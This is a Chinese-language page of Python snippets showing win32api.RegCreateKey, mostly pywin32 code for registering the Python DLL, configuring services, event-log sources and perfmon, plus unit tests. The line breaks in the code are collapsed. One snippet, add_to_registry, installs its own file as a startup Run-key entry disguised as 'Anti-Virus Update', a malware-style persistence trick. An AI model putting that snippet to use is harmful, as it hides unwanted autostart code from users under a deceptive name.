我们从Python开源项目中，提取了以下29个代码示例，用于说明如何使用win32api.RegCreateKey()。
def RegisterCoreDLL(coredllName = None): """Registers the core DLL in the registry. If no params are passed, the name of the Python DLL used in the current process is used and registered. """ if coredllName is None: coredllName = win32api.GetModuleFileName(sys.dllhandle) # must exist! else: try: os.stat(coredllName) except os.error: print "Warning: Registering non-existant core DLL %s" % coredllName hKey = win32api.RegCreateKey(GetRootKey() , BuildDefaultPythonKey()) try: win32api.RegSetValue(hKey, "Dll", win32con.REG_SZ, coredllName) finally: win32api.RegCloseKey(hKey) # Lastly, setup the current version to point to me. win32api.RegSetValue(GetRootKey(), "Software\\Python\\PythonCore\\CurrentVersion", win32con.REG_SZ, sys.winver)
def testValues(self): key_name = r'PythonTestHarness\win32api' ## tuples containing value name, value type, data values=( (None, win32con.REG_SZ, 'This is default unnamed value'), ('REG_SZ', win32con.REG_SZ,'REG_SZ text data'), ('REG_EXPAND_SZ', win32con.REG_EXPAND_SZ, '%systemdir%'), ## REG_MULTI_SZ value needs to be a list since strings are returned as a list ('REG_MULTI_SZ', win32con.REG_MULTI_SZ, ['string 1','string 2','string 3','string 4']), ('REG_MULTI_SZ_empty', win32con.REG_MULTI_SZ, []), ('REG_DWORD', win32con.REG_DWORD, 666), ('REG_QWORD', win32con.REG_QWORD, 2**33), ('REG_BINARY', win32con.REG_BINARY, str2bytes('\x00\x01\x02\x03\x04\x05\x06\x07\x08\x01\x00')), ) hkey = win32api.RegCreateKey(win32con.HKEY_CURRENT_USER, key_name) for value_name, reg_type, data in values: win32api.RegSetValueEx(hkey, value_name, None, reg_type, data) for value_name, orig_type, orig_data in values: data, typ=win32api.RegQueryValueEx(hkey, value_name) self.assertEqual(typ, orig_type) self.assertEqual(data, orig_data)
def CustomOptionHandler(cls, opts): #out=open("c:\\log.txt","w") print "Installing the Pyro %s" % cls._svc_name_ args = raw_input("Enter command line arguments for %s: " % cls._svc_name_) try: createRegistryParameters(cls._svc_name_, args.strip()) except Exception,x: print "Error occured when setting command line args in the registry: ",x try: cls._svc_description_ except LookupError: return key = win32api.RegCreateKey(win32con.HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\%s" % cls._svc_name_) try: win32api.RegSetValueEx(key, "Description", 0, win32con.REG_SZ, cls._svc_description_); finally: win32api.RegCloseKey(key)
def test1(self): # This used to leave a stale exception behind. def reg_operation(): hkey = win32api.RegCreateKey(win32con.HKEY_CURRENT_USER, self.key_name) x = 3/0 # or a statement like: raise 'error' # do the test try: try: try: reg_operation() except: 1/0 # Force exception finally: win32api.RegDeleteKey(win32con.HKEY_CURRENT_USER, self.key_name) except ZeroDivisionError: pass
def testNotifyChange(self): def change(): hkey = win32api.RegCreateKey(win32con.HKEY_CURRENT_USER, self.key_name) try: win32api.RegSetValue(hkey, None, win32con.REG_SZ, "foo") finally: win32api.RegDeleteKey(win32con.HKEY_CURRENT_USER, self.key_name) evt = win32event.CreateEvent(None,0,0,None) ## REG_NOTIFY_CHANGE_LAST_SET - values ## REG_CHANGE_NOTIFY_NAME - keys ## REG_NOTIFY_CHANGE_SECURITY - security descriptor ## REG_NOTIFY_CHANGE_ATTRIBUTES win32api.RegNotifyChangeKeyValue(win32con.HKEY_CURRENT_USER,1,win32api.REG_NOTIFY_CHANGE_LAST_SET,evt,True) ret_code=win32event.WaitForSingleObject(evt,0) # Should be no change. self.failUnless(ret_code==win32con.WAIT_TIMEOUT) change() # Our event should now be in a signalled state. ret_code=win32event.WaitForSingleObject(evt,0) self.failUnless(ret_code==win32con.WAIT_OBJECT_0)
def RegisterCoreDLL(coredllName = None): """Registers the core DLL in the registry. If no params are passed, the name of the Python DLL used in the current process is used and registered. """ if coredllName is None: coredllName = win32api.GetModuleFileName(sys.dllhandle) # must exist! else: try: os.stat(coredllName) except os.error: print("Warning: Registering non-existant core DLL %s" % coredllName) hKey = win32api.RegCreateKey(GetRootKey() , BuildDefaultPythonKey()) try: win32api.RegSetValue(hKey, "Dll", win32con.REG_SZ, coredllName) finally: win32api.RegCloseKey(hKey) # Lastly, setup the current version to point to me. win32api.RegSetValue(GetRootKey(), "Software\\Python\\PythonCore\\CurrentVersion", win32con.REG_SZ, sys.winver)
def InstallPythonClassString(pythonClassString, serviceName): # Now setup our Python specific entries. if pythonClassString: key = win32api.RegCreateKey(win32con.HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\%s\\PythonClass" % serviceName) try: win32api.RegSetValue(key, None, win32con.REG_SZ, pythonClassString); finally: win32api.RegCloseKey(key) # Utility functions for Services, to allow persistant properties.
def SetServiceCustomOption(serviceName, option, value): try: serviceName = serviceName._svc_name_ except AttributeError: pass key = win32api.RegCreateKey(win32con.HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\%s\\Parameters" % serviceName) try: if type(value)==type(0): win32api.RegSetValueEx(key, option, 0, win32con.REG_DWORD, value); else: win32api.RegSetValueEx(key, option, 0, win32con.REG_SZ, value); finally: win32api.RegCloseKey(key)
def _set_subkeys(keyName, valueDict, base=win32con.HKEY_CLASSES_ROOT): hkey = win32api.RegCreateKey(base, keyName) try: for key, value in valueDict.iteritems(): win32api.RegSetValueEx(hkey, key, None, win32con.REG_SZ, value) finally: win32api.RegCloseKey(hkey)
def add_to_registry(self): # add to startup registry hkey = win32api.RegCreateKey(win32con.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run") win32api.RegSetValueEx(hkey, 'Anti-Virus Update', 0, win32con.REG_SZ, __file__) win32api.RegCloseKey(hkey)
def OnAddKey(self,command, code): from pywin.mfc import dialog val = dialog.GetSimpleInput("New key name", '', "Add new key") if val is None: return # cancelled. hitem = self.hierList.GetSelectedItem() item = self.hierList.ItemFromHandle(hitem) if SafeApply(win32api.RegCreateKey, (item.keyRoot, item.keyName + "\\" + val)): self.hierList.Refresh(hitem)
def GetServiceCustomOption(serviceName, option, defaultValue = None): # First param may also be a service class/instance. # This allows services to pass "self" try: serviceName = serviceName._svc_name_ except AttributeError: pass key = win32api.RegCreateKey(win32con.HKEY_LOCAL_MACHINE, "System\\CurrentControlSet\\Services\\%s\\Parameters" % serviceName) try: try: return win32api.RegQueryValueEx(key, option)[0] except win32api.error: # No value. return defaultValue finally: win32api.RegCloseKey(key)
def AddSourceToRegistry(appName, msgDLL = None, eventLogType = "Application", eventLogFlags = None): """Add a source of messages to the event log. Allows Python program to register a custom source of messages in the registry. You must also provide the DLL name that has the message table, so the full message text appears in the event log. Note that the win32evtlog.pyd file has a number of string entries with just "%1" built in, so many Python programs can simply use this DLL. Disadvantages are that you do not get language translation, and the full text is stored in the event log, blowing the size of the log up. """ # When an application uses the RegisterEventSource or OpenEventLog # function to get a handle of an event log, the event loggging service # searches for the specified source name in the registry. You can add a # new source name to the registry by opening a new registry subkey # under the Application key and adding registry values to the new # subkey. if msgDLL is None: msgDLL = win32evtlog.__file__ # Create a new key for our application hkey = win32api.RegCreateKey(win32con.HKEY_LOCAL_MACHINE, \ "SYSTEM\\CurrentControlSet\\Services\\EventLog\\%s\\%s" % (eventLogType, appName)) # Add the Event-ID message-file name to the subkey. win32api.RegSetValueEx(hkey, "EventMessageFile", # value name \ 0, # reserved \ win32con.REG_EXPAND_SZ,# value type \ msgDLL) # Set the supported types flags and add it to the subkey. if eventLogFlags is None: eventLogFlags = win32evtlog.EVENTLOG_ERROR_TYPE | win32evtlog.EVENTLOG_WARNING_TYPE | win32evtlog.EVENTLOG_INFORMATION_TYPE win32api.RegSetValueEx(hkey, # subkey handle \ "TypesSupported", # value name \ 0, # reserved \ win32con.REG_DWORD, # value type \ eventLogFlags) win32api.RegCloseKey(hkey)
def InstallPerfmonForService(serviceName, iniName, dllName = None): # If no DLL name, look it up in the INI file name if not dllName: # May be empty string! dllName = win32api.GetProfileVal("Python", "dll", "", iniName) # Still not found - look for the standard one in the same dir as win32service.pyd if not dllName: try: tryName = os.path.join(os.path.split(win32service.__file__)[0], "perfmondata.dll") if os.path.isfile(tryName): dllName = tryName except AttributeError: # Frozen app? - anyway, can't find it! pass if not dllName: raise ValueError("The name of the performance DLL must be available") dllName = win32api.GetFullPathName(dllName) # Now setup all the required "Performance" entries. hkey = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\%s" % (serviceName), 0, win32con.KEY_ALL_ACCESS) try: subKey = win32api.RegCreateKey(hkey, "Performance") try: win32api.RegSetValueEx(subKey, "Library", 0, win32con.REG_SZ, dllName) win32api.RegSetValueEx(subKey, "Open", 0, win32con.REG_SZ, "OpenPerformanceData") win32api.RegSetValueEx(subKey, "Close", 0, win32con.REG_SZ, "ClosePerformanceData") win32api.RegSetValueEx(subKey, "Collect", 0, win32con.REG_SZ, "CollectPerformanceData") finally: win32api.RegCloseKey(subKey) finally: win32api.RegCloseKey(hkey) # Now do the "Lodctr" thang... try: import perfmon path, fname = os.path.split(iniName) oldPath = os.getcwd() if path: os.chdir(path) try: perfmon.LoadPerfCounterTextStrings("python.exe " + fname) finally: os.chdir(oldPath) except win32api.error, details: print "The service was installed OK, but the performance monitor" print "data could not be loaded.", details
def SetupCore(searchPaths): """Setup the core Python information in the registry. This function makes no assumptions about the current state of sys.path. After this function has completed, you should have access to the standard Python library, and the standard Win32 extensions """ import sys for path in searchPaths: sys.path.append(path) import os import regutil, win32api,win32con installPath, corePaths = LocatePythonCore(searchPaths) # Register the core Pythonpath. print corePaths regutil.RegisterNamedPath(None, ';'.join(corePaths)) # Register the install path. hKey = win32api.RegCreateKey(regutil.GetRootKey() , regutil.BuildDefaultPythonKey()) try: # Core Paths. win32api.RegSetValue(hKey, "InstallPath", win32con.REG_SZ, installPath) finally: win32api.RegCloseKey(hKey) # Register the win32 core paths. win32paths = os.path.abspath( os.path.split(win32api.__file__)[0]) + ";" + \ os.path.abspath( os.path.split(LocateFileName("win32con.py;win32con.pyc", sys.path ) )[0] ) # Python has builtin support for finding a "DLLs" directory, but # not a PCBuild. Having it in the core paths means it is ignored when # an EXE not in the Python dir is hosting us - so we add it as a named # value check = os.path.join(sys.prefix, "PCBuild") if "64 bit" in sys.version: check = os.path.join(check, "amd64") if os.path.isdir(check): regutil.RegisterNamedPath("PCBuild",check)
def SetupCore(searchPaths): """Setup the core Python information in the registry. This function makes no assumptions about the current state of sys.path. After this function has completed, you should have access to the standard Python library, and the standard Win32 extensions """ import sys for path in searchPaths: sys.path.append(path) import os import regutil, win32api,win32con installPath, corePaths = LocatePythonCore(searchPaths) # Register the core Pythonpath. print(corePaths) regutil.RegisterNamedPath(None, ';'.join(corePaths)) # Register the install path. hKey = win32api.RegCreateKey(regutil.GetRootKey() , regutil.BuildDefaultPythonKey()) try: # Core Paths. win32api.RegSetValue(hKey, "InstallPath", win32con.REG_SZ, installPath) finally: win32api.RegCloseKey(hKey) # Register the win32 core paths. win32paths = os.path.abspath( os.path.split(win32api.__file__)[0]) + ";" + \ os.path.abspath( os.path.split(LocateFileName("win32con.py;win32con.pyc", sys.path ) )[0] ) # Python has builtin support for finding a "DLLs" directory, but # not a PCBuild. Having it in the core paths means it is ignored when # an EXE not in the Python dir is hosting us - so we add it as a named # value check = os.path.join(sys.prefix, "PCBuild") if "64 bit" in sys.version: check = os.path.join(check, "amd64") if os.path.isdir(check): regutil.RegisterNamedPath("PCBuild",check)
def InstallPerfmonForService(serviceName, iniName, dllName = None): # If no DLL name, look it up in the INI file name if not dllName: # May be empty string! dllName = win32api.GetProfileVal("Python", "dll", "", iniName) # Still not found - look for the standard one in the same dir as win32service.pyd if not dllName: try: tryName = os.path.join(os.path.split(win32service.__file__)[0], "perfmondata.dll") if os.path.isfile(tryName): dllName = tryName except AttributeError: # Frozen app? - anyway, can't find it! pass if not dllName: raise ValueError("The name of the performance DLL must be available") dllName = win32api.GetFullPathName(dllName) # Now setup all the required "Performance" entries. hkey = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\%s" % (serviceName), 0, win32con.KEY_ALL_ACCESS) try: subKey = win32api.RegCreateKey(hkey, "Performance") try: win32api.RegSetValueEx(subKey, "Library", 0, win32con.REG_SZ, dllName) win32api.RegSetValueEx(subKey, "Open", 0, win32con.REG_SZ, "OpenPerformanceData") win32api.RegSetValueEx(subKey, "Close", 0, win32con.REG_SZ, "ClosePerformanceData") win32api.RegSetValueEx(subKey, "Collect", 0, win32con.REG_SZ, "CollectPerformanceData") finally: win32api.RegCloseKey(subKey) finally: win32api.RegCloseKey(hkey) # Now do the "Lodctr" thang... try: import perfmon path, fname = os.path.split(iniName) oldPath = os.getcwd() if path: os.chdir(path) try: perfmon.LoadPerfCounterTextStrings("python.exe " + fname) finally: os.chdir(oldPath) except win32api.error as details: print("The service was installed OK, but the performance monitor") print("data could not be loaded.", details)
